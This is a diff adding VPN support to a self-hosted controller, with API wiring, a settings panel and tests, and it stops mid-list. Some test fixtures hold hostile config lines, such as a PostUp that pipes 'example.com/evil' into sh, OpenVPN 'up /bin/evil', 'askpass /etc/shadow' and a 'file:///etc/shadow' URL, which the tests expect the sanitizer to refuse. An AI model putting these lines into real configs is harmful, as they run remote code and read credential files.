'warnings': status.get('warnings') or [],
'error': status.get('error'),
'updated_at': status.get('updated_at'),
}

View file

@ -34,6 +34,7 @@ from controller.api.scripts import router as scripts_router
from controller.api.services import router as services_router
from controller.api.status import router as status_router
from controller.api.sync import router as sync_router
from controller.api.vpn import router as vpn_router
from controller.lib.config import (
get_ca_certificate_path,
get_config_value,
@ -61,6 +62,7 @@ from controller.lib.status import (
from controller.lib.status_worker import status_worker_loop
from controller.lib.sync import sync_schedule_loop
from controller.lib.systemd import get_all_services_status
from controller.lib.vpn import vpn_endpoints_loop
# Templates directory
TEMPLATES_DIR = Path(__file__).parent / "templates"
@ -138,6 +140,9 @@ async def lifespan(app: FastAPI):
from controller.lib.admin import start_hotspot_on_boot
app.state.hotspot_on_boot_task = asyncio.create_task(asyncio.to_thread(start_hotspot_on_boot))
# The VPN's kill switch blocks DNS until the tunnel is up, so the Controller looks up the VPN's servers.
app.state.vpn_endpoints_task = asyncio.create_task(vpn_endpoints_loop())
# Initialize cached status
app.state.cached_status = {}
@ -153,7 +158,7 @@ async def lifespan(app: FastAPI):
await status_task
except asyncio.CancelledError:
pass
for name in ("rsync_daemon_task", "sync_schedule_task"):
for name in ("rsync_daemon_task", "sync_schedule_task", "vpn_endpoints_task"):
if task := getattr(app.state, name, None):
task.cancel()
@ -184,6 +189,7 @@ app.include_router(scripts_router)
app.include_router(services_router)
app.include_router(status_router)
app.include_router(sync_router)
app.include_router(vpn_router)
def get_host(request: Request) -> str:

View file

@ -16,7 +16,7 @@ log file = /dev/stderr
# the files left out below through a link to them from elsewhere in the library. (A link that is itself part of
# the path a client asks for is still followed: the files below are left out by where they are, nothing more.)
refuse options = copy-links copy-unsafe-links copy-dirlinks
# Never served: this machine's TLS keys and cookies, and the database in use (a copy of a database that is
# Never served: this machine's TLS keys, VPN keys and login, and cookies, and the database in use (a copy of a database that is
# being written can be torn; a secondary copies the snapshot under config/.sync instead), and a snapshot that
# is still being written.
exclude = /config/ssl/ /config/cookies.txt /config/cookies.txt.enc /config/wrolpi.db /config/wrolpi.db-wal /config/wrolpi.db-shm /config/wrolpi.db.lock .wrolpi.db.backup /lost+found/
exclude = /config/ssl/ /config/vpn/ /config/cookies.txt /config/cookies.txt.enc /config/wrolpi.db /config/wrolpi.db-wal /config/wrolpi.db-shm /config/wrolpi.db.lock .wrolpi.db.backup /lost+found/

View file

@ -236,6 +236,11 @@
margin-top: 0.25rem;
}
.service-description {
font-size: 0.8rem;
color: #888;
}
/* Tables */
table {
width: 100%;
@ -1069,11 +1074,60 @@
</div>
</section>
<section id="vpn">
<h2>VPN</h2>
<p style="color: #aaa; font-size: 0.9rem;">
Torrents only use this VPN, so peers never see this WROLPi's own address. When the VPN is down, torrents
stop; they never fall back to this WROLPi's own Internet connection.
</p>
<p id="vpn-status">Loading...</p>
<p id="vpn-error" style="color: #f0ad4e;" hidden></p>
<p id="vpn-settings-error" style="color: #d9534f;" hidden></p>
<p id="vpn-config-summary" style="color: #aaa;"></p>
<div class="action-buttons" style="margin-bottom: 1rem;">
<input type="file" id="vpn-config-file" accept=".conf,.ovpn" hidden onchange="uploadVpnConfig(this)">
<button id="vpn-upload-btn" class="btn btn-primary" disabled
onclick="document.getElementById('vpn-config-file').click()">Upload VPN Config</button>
<button id="vpn-remove-btn" class="btn btn-danger" onclick="removeVpnConfig()" style="display: none;">Remove</button>
<button id="vpn-toggle-btn" class="btn" onclick="toggleVpn()" disabled>Turn VPN On</button>
</div>
<details id="vpn-login" style="margin-bottom: 1rem; display: none;">
<summary style="cursor: pointer;">OpenVPN Login</summary>
<div class="modal-form" style="max-width: 24rem; margin-top: 0.5rem;">
<label>Username
<input type="text" id="vpn-username" autocomplete="off">
</label>
<label>Password
<input type="password" id="vpn-password" autocomplete="off" style="width: 100%; padding: 0.5rem; margin-bottom: 1rem; background: #1a1a2e; border: 1px solid #333; border-radius: 4px; color: #fff; font-size: 1rem;">
</label>
<button class="btn btn-primary" onclick="saveVpnLogin()">Save Login</button>
</div>
</details>
<details style="margin-bottom: 1rem;">
<summary style="cursor: pointer;">Port Forwarding</summary>
<div class="modal-form" style="max-width: 24rem; margin-top: 0.5rem;">
<label>Mode
<select id="vpn-port-forwarding" disabled onchange="showVpnPort()" style="width: 100%; padding: 0.5rem; margin-bottom: 1rem; background: #1a1a2e; border: 1px solid #333; border-radius: 4px; color: #fff; font-size: 1rem;">
<option value="none">None (download only; seed to peers who accept connections)</option>
<option value="fixed">A port my VPN provider forwards to me</option>
<option value="natpmp">Ask the VPN for a port (NAT-PMP, e.g. Proton P2P servers)</option>
</select>
</label>
<label id="vpn-port-label" style="display: none;">Forwarded port
<input type="text" id="vpn-forwarded-port" inputmode="numeric">
</label>
<!-- Disabled until the saved settings load; the select's first option would overwrite them. -->
<button id="vpn-save-btn" class="btn btn-primary" disabled onclick="saveVpnSettings()">Save</button>
</div>
</details>
</section>
{% macro service_row(service, docker_mode, host) %}
<tr>
<td>
{{ service.name }}
{% if service.port %}<span class="sub">:{{ service.port }}</span>{% endif %}
{% if service.description %}<div class="service-description">{{ service.description }}</div>{% endif %}
</td>
<td class="status-{{ service.status }}">{{ service.status }}</td>
<td>
@ -2965,6 +3019,7 @@
<td>
${service.name}
${service.port ? `<span class="sub">:${service.port}</span>` : ''}
${service.description ? `<div class="service-description">${service.description}</div>` : ''}
</td>
<td class="status-${service.status}">${service.status}</td>
<td>`;
@ -3068,6 +3123,128 @@
}
}
// --- VPN (controller/lib/vpn.py). Torrents reach the Internet only through it. ---
const vpnStateLabels = {
connected: 'Connected', connecting: 'Connecting', waiting: 'Waiting', disabled: 'Off', wrol_mode: 'Off (WROL Mode)',
stopped: 'Not running', error: 'Error',
};
const vpnKindLabels = {wireguard: 'WireGuard', openvpn: 'OpenVPN'};
let vpnSettings = null;
// `hidden` loses to this page's display rules (e.g. .btn), so toggle display itself.
function setShown(id, shown) {
document.getElementById(id).style.display = shown ? '' : 'none';
}
function showVpnPort() {
setShown('vpn-port-label', document.getElementById('vpn-port-forwarding').value === 'fixed');
}
function applyVpnSettings(settings) {
vpnSettings = settings;
document.getElementById('vpn-config-summary').textContent = settings.kind
? `Config: ${vpnKindLabels[settings.kind]} to ${settings.servers.join(', ')}`
: 'Upload the WireGuard (.conf) or OpenVPN (.ovpn) file from your VPN provider.';
document.getElementById('vpn-upload-btn').textContent = settings.kind ? 'Replace VPN Config' : 'Upload VPN Config';
setShown('vpn-remove-btn', !!settings.kind);
const toggle = document.getElementById('vpn-toggle-btn');
toggle.disabled = !settings.kind;
toggle.textContent = settings.enabled ? 'Turn VPN Off' : 'Turn VPN On';
toggle.className = settings.enabled ? 'btn btn-danger' : 'btn btn-primary';
setShown('vpn-login', settings.needs_auth);
document.getElementById('vpn-login').querySelector('summary').textContent = settings.has_auth ? 'OpenVPN Login (saved)' : 'OpenVPN Login';
document.getElementById('vpn-port-forwarding').value = settings.port_forwarding || 'none';
for (const id of ['vpn-port-forwarding', 'vpn-save-btn', 'vpn-upload-btn']) {
document.getElementById(id).disabled = false;
}
document.getElementById('vpn-settings-error').hidden = true;
document.getElementById('vpn-forwarded-port').value = settings.forwarded_port || '';
showVpnPort();
}
async function loadVpnStatus() {
try {
const status = await apiCall('api/vpn/status');
let text = `Status: ${vpnStateLabels[status.state] || status.state}`;
if (status.public_ip) text += ` · Peers see ${status.public_ip}`;
if (status.forwarded_port) text += ` · Port ${status.forwarded_port}`;
document.getElementById('vpn-status').textContent = text;
const problems = [status.error, ...(status.warnings || [])].filter(Boolean);
const error = document.getElementById('vpn-error');
error.textContent = problems.join(' · ');
error.hidden = !problems.length;
} catch (e) {
console.error('Failed to load VPN status', e);
}
}
async function loadVpn() {
try {
applyVpnSettings(await apiCall('api/vpn/settings'));
} catch (e) {
console.error('Failed to load VPN settings', e);
if (!vpnSettings) {
const error = document.getElementById('vpn-settings-error');
error.textContent = `Could not load the VPN settings: ${e.message}`;
error.hidden = false;
}
}
await loadVpnStatus();
}
async function vpnAction(url, method, body) {
try {
applyVpnSettings(await apiCall(url, method, body));
await loadVpnStatus();
return true;
} catch (e) {
alert(`VPN: ${e.message}`);
return false;
}
}
async function uploadVpnConfig(input) {
const file = input.files && input.files[0];
input.value = '';
if (!file || !vpnSettings) return;
if (vpnSettings.kind && !confirm(`Replace the VPN config with ${file.name}? The current key is deleted and the tunnel uses this file.`)) return;
await vpnAction('api/vpn/config', 'POST', {filename: file.name, content: await file.text()});
}
async function removeVpnConfig() {
if (!confirm('Remove the VPN config and login, and turn the VPN off? Torrents will stop until a new config is uploaded.')) return;
await vpnAction('api/vpn/config', 'DELETE');
}
async function toggleVpn() {
if (!vpnSettings) return;
const enabled = !vpnSettings.enabled;
if (!enabled && !confirm('Turn the VPN off? Torrents stop until it is turned back on.')) return;
await vpnAction('api/vpn/settings', 'POST', {enabled});
}
async function saveVpnLogin() {
const username = document.getElementById('vpn-username');
const password = document.getElementById('vpn-password');
if (await vpnAction('api/vpn/auth', 'POST', {username: username.value, password: password.value})) {
username.value = '';
password.value = '';
}
}
async function saveVpnSettings() {
// Never save the select's placeholder over settings which have not loaded.
if (!vpnSettings) return;
const mode = document.getElementById('vpn-port-forwarding').value;
const port = parseInt(document.getElementById('vpn-forwarded-port').value, 10);
if (await vpnAction('api/vpn/settings', 'POST', {
port_forwarding: mode,
forwarded_port: mode === 'fixed' && port ? port : null,
})) {
alert('VPN settings saved.');
}
}
function startPeriodicUpdates() {
// Update every 10 seconds
const updateInterval = 10000;
@ -3075,6 +3252,7 @@
// Fetch hardware button status immediately
refreshToggleButtons();
loadHotspotSettings();
loadVpn();
// Initial update after a short delay (to not overlap with initial load)
setTimeout(() => {
@ -3091,6 +3269,7 @@
loadDisks();
loadSmart();
refreshToggleButtons();
loadVpnStatus();
}, updateInterval);
}

View file

@ -57,7 +57,7 @@ class TestManagedServicesConfig:
def test_managed_services_count(self):
"""Should have expected number of managed services."""
services = DEFAULT_CONFIG["managed_services"]
assert len(services) == 13
assert len(services) == 15
@pytest.mark.parametrize("name,expected", [
("wrolpi-api",

View file

@ -295,3 +295,94 @@ class TestGetContainerLogs:
assert result["logs"] == "log line 1\nlog line 2"
assert result["service"] == "api"
assert result["lines"] == 50
def _container(service, ports=None, status="running"):
container = mock.Mock()
container.name = f"{CONTAINER_PREFIX}-{service}-1"
container.status = status
container.attrs = {"NetworkSettings": {"Ports": ports or {}}}
return container
WEB_PORTS = {"443/tcp": [{"HostPort": "8443"}], "8084/tcp": [{"HostPort": "8084"}],
"8085/tcp": [{"HostPort": "8085"}], "8086/tcp": [{"HostPort": "8086"}],
"8091/tcp": [{"HostPort": "8091"}]}
def _list(*containers):
client = mock.Mock()
client.containers.list.return_value = list(containers)
client.containers.get.side_effect = lambda name: {c.name: c for c in containers}[name]
with mock.patch("controller.lib.docker_services.can_manage_containers", return_value=True), \
mock.patch("controller.lib.docker_services._get_client", return_value=client):
return {s["name"]: s for s in get_all_containers_status()}, client
class TestDockerServiceDescriptions:
"""Each container says what it is; one served by the web container (Caddy) links to Caddy's port for it."""
def test_every_compose_service_is_described(self):
import yaml
from pathlib import Path
from controller.lib.docker_services import DOCKER_SERVICES
compose = yaml.safe_load((Path(__file__).parents[2] / "docker-compose.yml").read_text())
for name in compose["services"]:
assert DOCKER_SERVICES.get(name, {}).get("description"), name
def test_vpn_is_torrents_and_links_to_the_webui(self):
services, _ = _list(_container("vpn"), _container("web", WEB_PORTS))
vpn = services["vpn"]
assert "torrents" in vpn["description"].lower()
assert vpn["port"] == 8091 and vpn["use_https"] is True and vpn["viewable"] is True
def test_served_through_web_uses_webs_host_port(self):
# WEB_HTTPS_PORT may be changed; the link follows Caddy's published port.
ports = dict(WEB_PORTS, **{"443/tcp": [{"HostPort": "9443"}]})
services, _ = _list(_container("help"), _container("zim"), _container("app"), _container("web", ports))
assert (services["help"]["port"], services["help"]["use_https"]) == (8086, True)
assert services["zim"]["port"] == 8085
assert services["app"]["port"] == 9443
assert services["web"]["port"] == 9443 and services["web"]["use_https"] is True
def test_tiles_are_plain_http_with_no_page(self):
services, _ = _list(_container("tiles"), _container("web", dict(WEB_PORTS, **{"8088/tcp": [{"HostPort": "8088"}]})))
assert (services["tiles"]["port"], services["tiles"]["use_https"], services["tiles"]["viewable"]) == \
(8088, False, False)
def test_without_web_there_is_no_link(self):
services, _ = _list(_container("vpn"))
assert services["vpn"]["port"] is None
assert services["vpn"]["description"]
def test_archive_has_no_page(self):
services, _ = _list(_container("archive", {"8080/tcp": [{"HostPort": "8083"}]}))
assert services["archive"]["viewable"] is False
assert services["archive"]["description"]
def test_unknown_container_has_no_description(self):
services, _ = _list(_container("custom", {"80/tcp": [{"HostPort": "9000"}]}))
assert services["custom"]["description"] == ""
assert services["custom"]["port"] == 9000
def test_single_container_status_is_described(self):
vpn, web = _container("vpn"), _container("web", WEB_PORTS)
client = mock.Mock()
client.containers.get.side_effect = lambda name: {vpn.name: vpn, web.name: web}[name]
with mock.patch("controller.lib.docker_services.can_manage_containers", return_value=True), \
mock.patch("controller.lib.docker_services._get_client", return_value=client):
status = get_container_status("vpn")
assert "torrents" in status["description"].lower()
assert status["port"] == 8091
class TestSimpleUiDescriptions:
"""The Controller's own page shows each service's description, as the React page does."""
def test_rows_show_descriptions(self):
from pathlib import Path
page = (Path(__file__).parents[1] / "templates/index.html").read_text()
macro = page[page.index("{% macro service_row"):page.index("{% endmacro %}")]
assert "service.description" in macro
script = page[page.index("function serviceRowHtml"):]
assert "service.description" in script[:script.index("return row")]

View file

@ -93,10 +93,10 @@ class TestConfig:
["rsync", "--version"], capture_output=True).stdout, reason="needs rsync 3")
def test_daemon_serves_the_library_read_only(tmp_path):
"""The daemon run with the real config (only its port and path changed) lists the library, never serves the
database in use or the TLS keys, serves the snapshot, and refuses a write."""
database in use, the TLS keys or the VPN keys, serves the snapshot, and refuses a write."""
media = tmp_path / "media"
for path in ("videos/a.mp4", "config/tags.yaml", "config/wrolpi.db", "config/wrolpi.db-wal",
"config/ssl/ca.key", "config/cookies.txt.enc", "config/.sync/config/wrolpi.db",
"config/ssl/ca.key", "config/vpn/wireguard.conf", "config/cookies.txt.enc", "config/.sync/config/wrolpi.db",
"config/.sync/config/.wrolpi.db.backup"):
(media / path).parent.mkdir(parents=True, exist_ok=True)
(media / path).write_text(path)

251
controller/test/test_vpn.py Normal file
View file

@ -0,0 +1,251 @@
"""
Tests for the Controller's VPN settings, server lookups, status, and API.
"""
import json
import stat
import time
from pathlib import Path
from unittest import mock
import pytest
import yaml
from controller.lib import vpn
from controller.vpn import tunnel
from controller.vpn.tunnel import VPNConfigError
WIREGUARD = """\
[Interface]
PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=
Address = 10.2.0.2/32
DNS = 10.2.0.1
[Peer]
PublicKey = cHVibGlja2V5cHVibGlja2V5cHVibGlja2V5cHVibGk=
AllowedIPs = 0.0.0.0/0
Endpoint = vpn.example.com:51820
"""
OPENVPN = """\
client
remote 198.51.100.7 1194
auth-user-pass
"""
@pytest.fixture
def drive(test_directory, mock_config_path, reset_runtime_config, monkeypatch) -> Path:
"""A mounted drive: controller.yaml and the VPN files share one config directory, as on a WROLPi."""
monkeypatch.setenv('MEDIA_DIRECTORY', str(test_directory))
return test_directory / 'config'
@pytest.fixture
def resolver():
with mock.patch.object(tunnel, 'resolve_host', return_value=['203.0.113.5']) as resolve_host:
yield resolve_host
def saved_vpn_settings(drive: Path) -> dict:
return yaml.safe_load((drive / 'controller.yaml').read_text())['vpn']
class TestSaveConfig:
def test_wireguard(self, drive, resolver):
response = vpn.save_vpn_config('proton-US-1.conf', WIREGUARD)
assert response['kind'] == 'wireguard'
assert response['servers'] == ['vpn.example.com']
assert response['enabled'] is False
path = drive / vpn.WIREGUARD_CONFIG
assert path.read_text() == WIREGUARD
# It holds a private key.
assert stat.S_IMODE(path.stat().st_mode) == 0o600
assert stat.S_IMODE(path.parent.stat().st_mode) == 0o700
# The tunnel reads the same key the Controller saved.
assert saved_vpn_settings(drive)['config_file'] == vpn.WIREGUARD_CONFIG
assert tunnel.load_settings(drive.parent)['config_file'] == vpn.WIREGUARD_CONFIG
# The server's name is looked up for the tunnel, which cannot use DNS until it is up.
endpoints = json.loads((tunnel.RUN_DIR / tunnel.ENDPOINTS_FILE).read_text())
assert endpoints['hosts'] == {'vpn.example.com': ['203.0.113.5']}
assert endpoints['config_sha256'] == tunnel.config_sha256(WIREGUARD)
def test_replaces_the_other_kind(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
response = vpn.save_vpn_config('b.ovpn', OPENVPN)
assert response['kind'] == 'openvpn'
assert response['needs_auth'] is True
assert response['has_auth'] is False
assert not (drive / vpn.WIREGUARD_CONFIG).exists()
assert saved_vpn_settings(drive)['config_file'] == vpn.OPENVPN_CONFIG
@pytest.mark.parametrize('filename,content,message', [
('vpn.txt', WIREGUARD, '.conf'),
('vpn.conf', '[Interface]\n', 'PrivateKey'),
('vpn.ovpn', 'client\n', 'no remote'),
('vpn.conf', 'x' * (vpn.MAX_CONFIG_BYTES + 1), 'too large'),
])
def test_invalid_config_is_not_saved(self, drive, resolver, filename, content, message):
with pytest.raises(VPNConfigError, match=message):
vpn.save_vpn_config(filename, content)
assert not (drive / 'vpn').exists()
def test_lookup_failure_does_not_stop_saving(self, drive):
with mock.patch.object(tunnel, 'resolve_host', side_effect=__import__('socket').gaierror('no Internet')):
response = vpn.save_vpn_config('a.conf', WIREGUARD)
assert response['kind'] == 'wireguard'
assert vpn.endpoints_need_resolving() is False # The VPN is off.
class TestSettings:
def test_enable_needs_a_config(self, drive):
with pytest.raises(VPNConfigError, match='Upload a VPN config'):
vpn.update_vpn_settings(enabled=True)
def test_enable(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
assert vpn.update_vpn_settings(enabled=True)['enabled'] is True
assert saved_vpn_settings(drive)['enabled'] is True
def test_openvpn_needs_its_login_before_enabling(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', OPENVPN)
with pytest.raises(VPNConfigError, match='username and password'):
vpn.update_vpn_settings(enabled=True)
response = vpn.save_openvpn_auth('user', 'secret')
assert response['has_auth'] is True
auth = drive / vpn.OPENVPN_AUTH
assert auth.read_text() == 'user\nsecret\n'
assert stat.S_IMODE(auth.stat().st_mode) == 0o600
assert vpn.update_vpn_settings(enabled=True)['enabled'] is True
@pytest.mark.parametrize('username,password', [('', 'p'), ('u', ''), ('u\nx', 'p'), ('u', 'p\r')])
def test_invalid_login(self, drive, username, password):
with pytest.raises(VPNConfigError):
vpn.save_openvpn_auth(username, password)
def test_port_forwarding(self, drive):
with pytest.raises(VPNConfigError, match='Enter the port'):
vpn.update_vpn_settings(port_forwarding='fixed')
with pytest.raises(VPNConfigError, match='between 1 and 65535'):
vpn.update_vpn_settings(port_forwarding='fixed', forwarded_port=70000)
with pytest.raises(VPNConfigError, match='must be one of'):
vpn.update_vpn_settings(port_forwarding='upnp')
response = vpn.update_vpn_settings(port_forwarding='fixed', forwarded_port=51413)
assert (response['port_forwarding'], response['forwarded_port']) == ('fixed', 51413)
# Only differences from the defaults are saved.
assert saved_vpn_settings(drive) == {'port_forwarding': 'fixed', 'forwarded_port': 51413}
def test_natpmp(self, drive):
response = vpn.update_vpn_settings(port_forwarding='natpmp')
assert response['port_forwarding'] == 'natpmp'
with pytest.raises(VPNConfigError, match='IPv4'):
vpn.update_vpn_settings(natpmp_gateway='vpn.example.com')
with pytest.raises(VPNConfigError, match='IPv4'):
vpn.update_vpn_settings(natpmp_gateway='fd00::1')
assert vpn.update_vpn_settings(natpmp_gateway='10.64.0.1')['natpmp_gateway'] == '10.64.0.1'
assert vpn.update_vpn_settings(natpmp_gateway='')['natpmp_gateway'] is None
@pytest.mark.parametrize('url', ['file:///etc/shadow', 'ftp://example.com/', 'https://', 'example.com'])
def test_public_ip_url_must_be_a_web_address(self, drive, url):
with pytest.raises(VPNConfigError, match='http'):
vpn.update_vpn_settings(public_ip_url=url)
# Empty turns the check off.
assert vpn.update_vpn_settings(public_ip_url='')['public_ip_url'] is None
def test_delete(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', OPENVPN)
vpn.save_openvpn_auth('user', 'secret')
vpn.update_vpn_settings(enabled=True)
response = vpn.delete_vpn_config()
assert response['enabled'] is False
assert response['kind'] is None
assert not (drive / vpn.OPENVPN_CONFIG).exists()
assert not (drive / vpn.OPENVPN_AUTH).exists()
class TestEndpoints:
def test_need_resolving(self, drive, resolver):
vpn.save_vpn_config('a.conf', WIREGUARD)
vpn.update_vpn_settings(enabled=True)
assert vpn.endpoints_need_resolving() is False
# Old lookups are refreshed in case the provider moved a server.
path = tunnel.RUN_DIR / tunnel.ENDPOINTS_FILE
data = json.loads(path.read_text())
data['resolved_at'] = time.time() - vpn.ENDPOINTS_MAX_AGE - 1
path.write_text(json.dumps(data))
assert vpn.endpoints_need_resolving() is True
# A lookup which failed (e.g. no Internet at boot) is tried again.
data['resolved_at'], data['hosts'] = time.time(), {}
path.write_text(json.dumps(data))
assert vpn.endpoints_need_resolving() is True
path.unlink()
assert vpn.endpoints_need_resolving() is True
def test_addresses_need_no_lookup(self, drive, resolver):
vpn.save_vpn_config('a.ovpn', 'remote 198.51.100.7 1194\n')
assert vpn.resolve_endpoints() == {}
resolver.assert_not_called()
class TestStatus:
def test_stopped_without_status(self, drive):
assert vpn.get_vpn_status()['state'] == 'stopped'
def test_reports_the_tunnels_status(self, drive):
tunnel.write_json(tunnel.RUN_DIR / tunnel.STATUS_FILE, {
'state': 'connected', 'kind': 'wireguard', 'interface': 'vpn0', 'public_ip': '203.0.113.99',
'forwarded_port': 51413, 'updated_at': time.time()})
status = vpn.get_vpn_status()
assert (status['state'], status['public_ip'], status['forwarded_port']) == ('connected', '203.0.113.99', 51413)
def test_stale_status_is_stopped(self, drive):
tunnel.write_json(tunnel.RUN_DIR / tunnel.STATUS_FILE, {
'state': 'connected', 'public_ip': '203.0.113.99',
'updated_at': time.time() - vpn.STALE_STATUS_SECONDS - 1})
status = vpn.get_vpn_status()
assert status['state'] == 'stopped'
assert status['public_ip'] is None
class TestAPI:
def test_status(self, test_client):
response = test_client.get('/api/vpn/status')
assert response.status_code == 200
assert response.json()['state'] == 'stopped'
def test_upload_and_enable(self, test_client, drive, resolver):
response = test_client.post('/api/vpn/config', json={'filename': 'a.conf', 'content': WIREGUARD})
assert response.status_code == 200, response.text
assert response.json()['kind'] == 'wireguard'
response = test_client.post('/api/vpn/settings', json={'enabled': True})
assert response.status_code == 200, response.text
assert test_client.get('/api/vpn/settings').json()['enabled'] is True
response = test_client.delete('/api/vpn/config')
assert response.status_code == 200
assert response.json()['enabled'] is False
def test_refusals_are_400(self, test_client, drive):
response = test_client.post('/api/vpn/config', json={'filename': 'a.conf', 'content': 'nope'})
assert response.status_code == 400
response = test_client.post('/api/vpn/settings', json={'port_forwarding': 'fixed'})
assert response.status_code == 400
assert 'Enter the port' in response.json()['detail']
response = test_client.post('/api/vpn/auth', json={'username': '', 'password': ''})
assert response.status_code == 400
def test_unmounted_drive_is_409(self, test_client, resolver):
# controller.yaml cannot be saved until the drive is mounted.
with mock.patch('controller.lib.config.CONFIG_PATH_ON_DRIVE', Path('/nonexistent/config/controller.yaml')):
response = test_client.post('/api/vpn/settings', json={'port_forwarding': 'none'})
assert response.status_code == 409

View file

@ -0,0 +1,842 @@
"""
Tests for the VPN tunnel (controller/vpn/tunnel.py): config parsing, the kill switch, and that the tunnel is only ever
up behind the kill switch.
"""
import json
import os
import stat
from pathlib import Path
from unittest import mock
import pytest
import yaml
from controller.vpn import tunnel
from controller.vpn.tunnel import Endpoint, Remote, Uplink, VPNConfigError
REPOSITORY = Path(__file__).parent.parent.parent
WIREGUARD = """\
# Provider's comment
[Interface]
PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=
Address = 10.2.0.2/32
Address = fd00::2/128
DNS = 10.2.0.1, search.example
MTU = 1380
PostUp = curl https://example.com/evil | sh
[Peer]
PublicKey = cHVibGlja2V5cHVibGlja2V5cHVibGlja2V5cHVibGk=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = vpn.example.com:51820
"""
OPENVPN = """\
client
dev tun
proto udp
remote vpn.example.com 1194
remote 198.51.100.7 443 tcp
auth-user-pass
script-security 2
up /etc/openvpn/update-resolv-conf
<connection>
remote other.example.com
proto tcp-client
port 8443
</connection>
<ca>
-----BEGIN CERTIFICATE-----
remote not-a-directive.example.com 1
-----END CERTIFICATE-----
</ca>
"""
UPLINK = Uplink('eth0', '172.18.0.1', None, ['172.18.0.0/16'])
class TestWireGuard:
def test_parse(self):
config = tunnel.parse_wireguard(WIREGUARD)
assert config.addresses == ['10.2.0.2/32', 'fd00::2/128']
# A search domain is not a DNS server.
assert config.dns == ['10.2.0.1']
assert config.mtu == 1380
assert config.remotes() == [Remote('vpn.example.com', 51820, 'udp')]
def test_setconf_uses_resolved_endpoint_and_drops_wg_quick_keys(self):
setconf = tunnel.wireguard_setconf(tunnel.parse_wireguard(WIREGUARD), {'vpn.example.com': ['203.0.113.5']})
assert 'Endpoint = 203.0.113.5:51820' in setconf
# wg-quick's keys are applied by the tunnel, and a config's commands are never run.
for key in ('Address', 'DNS', 'MTU', 'PostUp', 'curl'):
assert key not in setconf
assert 'PrivateKey = cHJpdmF0ZWtleXByaXZhdGVrZXlwcml2YXRla2V5cHI=' in setconf
assert 'AllowedIPs = 0.0.0.0/0, ::/0' in setconf
# Keeps the provider's NAT mapping (and a forwarded port) open while idle.
assert f'PersistentKeepalive = {tunnel.DEFAULT_KEEPALIVE}' in setconf
def test_setconf_keeps_keepalive_and_brackets_ipv6(self):
text = WIREGUARD.replace('Endpoint = vpn.example.com:51820',
'Endpoint = [2001:db8::5]:51820\nPersistentKeepalive = 10')
setconf = tunnel.wireguard_setconf(tunnel.parse_wireguard(text), {})
assert 'Endpoint = [2001:db8::5]:51820' in setconf
assert 'PersistentKeepalive = 10' in setconf
def test_setconf_needs_the_controllers_lookup(self):
with pytest.raises(tunnel.Waiting):
tunnel.wireguard_setconf(tunnel.parse_wireguard(WIREGUARD), {})
@pytest.mark.parametrize('text,message', [
('', 'no [Interface]'),
('[Interface]\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'no PrivateKey'),
('[Interface]\nPrivateKey = a\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'no Address'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n', 'no [Peer]'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\n', 'no Endpoint'),
('[Interface]\nPrivateKey = a\nAddress = 10.0.0.2/32\n[Peer]\nPublicKey = a\nEndpoint = h\n',
'expected host:port'),
('[Interface]\nPrivateKey = a\nAddress = nope\n[Peer]\nPublicKey = a\nEndpoint = h:1\n', 'Address'),
('[Wat]\n', 'Unknown WireGuard section'),
])
def test_invalid(self, text, message):
with pytest.raises(VPNConfigError, match=message.replace('[', r'\[').replace(']', r'\]')):
tunnel.parse_wireguard(text)
class TestOpenVPN:
def test_parse_remotes(self):
config = tunnel.parse_openvpn(OPENVPN)
assert config.remotes == [
Remote('vpn.example.com', 1194, 'udp'),
Remote('198.51.100.7', 443, 'tcp'),
# A <connection> block's proto and port apply to its own remote only.
Remote('other.example.com', 8443, 'tcp'),
]
assert config.wants_auth is True
def test_global_options_apply_to_remotes_above_them(self):
config = tunnel.parse_openvpn('remote a.example.com\nport 443\nproto tcp\n')
assert config.remotes == [Remote('a.example.com', 443, 'tcp')]
assert config.wants_auth is False
def test_sanitize(self):
config = tunnel.parse_openvpn(OPENVPN)
text = tunnel.sanitize_openvpn(config, {'vpn.example.com': ['203.0.113.5', '203.0.113.6'],
'other.example.com': ['203.0.113.9']})
lines = text.splitlines()
# Each name becomes its addresses, so OpenVPN never needs DNS behind the kill switch.
assert 'remote 203.0.113.5 1194 udp' in lines
assert 'remote 203.0.113.6 1194 udp' in lines
assert 'remote 198.51.100.7 443 tcp' in lines
assert 'remote 203.0.113.9 8443 tcp' in lines
assert not any('vpn.example.com' in line for line in lines)
# No commands; the tunnel names the device and passes the login itself.
for dropped in ('script-security', 'up /etc', 'auth-user-pass', 'dev tun'):
assert not any(line.startswith(dropped) for line in lines), dropped
# Inline data is passed through untouched.
assert 'remote not-a-directive.example.com 1' in lines
assert '<connection>' in lines and '</ca>' in lines
@pytest.mark.parametrize('text,message', [
('client\n', 'no remote'),
('remote a.example.com\nhttp-proxy 10.0.0.1 8080\n', 'http-proxy'),
('remote a.example.com\ndev tap\n', 'TAP'),
('remote a.example.com\nproto sctp\n', 'Unknown OpenVPN protocol'),
])
def test_invalid(self, text, message):
with pytest.raises(VPNConfigError, match=message):
tunnel.parse_openvpn(text)
@pytest.mark.parametrize('line', [
# OpenVPN un-quotes and un-escapes option names, so these are `up`.
'"up" /bin/evil', "'up' /bin/evil", 'u\\p /bin/evil', '--"up" /bin/evil',
# Run commands without needing --script-security.
'iproute /bin/evil', 'plugin /usr/lib/openvpn/openvpn-plugin-down-root.so /bin/evil', 'engine evil',
'providers evil',
# Wrapped in `setenv opt`, an option is still judged as itself.
'setenv opt iproute /bin/evil', 'setenv "opt" up /bin/evil', "setenv 'opt' iproute /bin/evil",
'setenv o\\pt up /bin/evil', 'remote 198.51.100.8 "1194"',
# Read or write files as root.
'askpass /etc/shadow', 'tmp-dir /etc', 'tls-export-cert /etc', 'replay-persist /etc/passwd',
'ca /etc/shadow', 'tls-auth /etc/shadow 1', 'config /etc/openvpn/other.conf',
# Unknown options are refused, by name.
